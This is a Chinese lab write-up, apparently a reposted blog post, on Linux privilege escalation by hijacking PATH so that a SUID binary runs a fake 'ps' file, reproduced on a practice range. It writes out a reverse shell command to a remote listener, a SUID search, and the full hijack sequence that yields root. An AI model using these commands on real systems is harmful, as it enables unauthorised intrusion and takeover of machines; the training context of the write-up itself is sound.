环境变量提权

2023-12-13 05:09:13

环境变量提权

借鉴文章LINUX提权之环境变量提权篇 - 知乎 (zhihu.com)

利用条件

存在一个文件,利用su权限执行,普通用户可以执行此文件,但只限制在一个目录下可以执行

利用方式

将此文件的目录添加到环境变量中

export PATH=/tmp:$PATH

echo $PATH 命令可以查看环境变量

漏洞复现

这里借用红日7靶场进行复现

这里已经进入一台linux主机

find / -perm -u=s -type f 2>/dev/null

从根目录查找具有root权限的二进制执行文件

image-20231205182628029

没有找到可以进行suid提权的命令

但是发现了/home/jobs/shell

瞅一眼

image-20231205182913335

运行后创建了一个shell进程 (cmd表示执行的命令根据sh可知)

基于此推测使用环境变量提权的方式进行

考虑采用kali终端会更方便,用蚁剑命令执行反弹shell到kali中(这里需要使用蚁剑的代码执行插件)

image-20231205185032272

system('bash -c "bash -i >& /dev/tcp/192.168.52.128/3333 0>&1" ');

可能第一次无法反弹上去,需要多几次

然后在kali依次输入一下命令

cd /tmp #进入临时目录
echo "/bin/bash" > ps #写入bash命令放入ps文件
chmod 777 ps #给此文件赋予权限
echo $PATH  #查看环境变量
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell 
# 然后就获得了root权限,可以执行命令了

image-20231205185556734

使用

python -c 'import pty;pty.spawn("/bin/bash");'

进入交互式终端

python -c 'import pty;pty.spawn("/bin/bash");'

进入交互式终端

image-20231205185915045

文章来源:https://blog.csdn.net/longwanlian/article/details/134958068
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。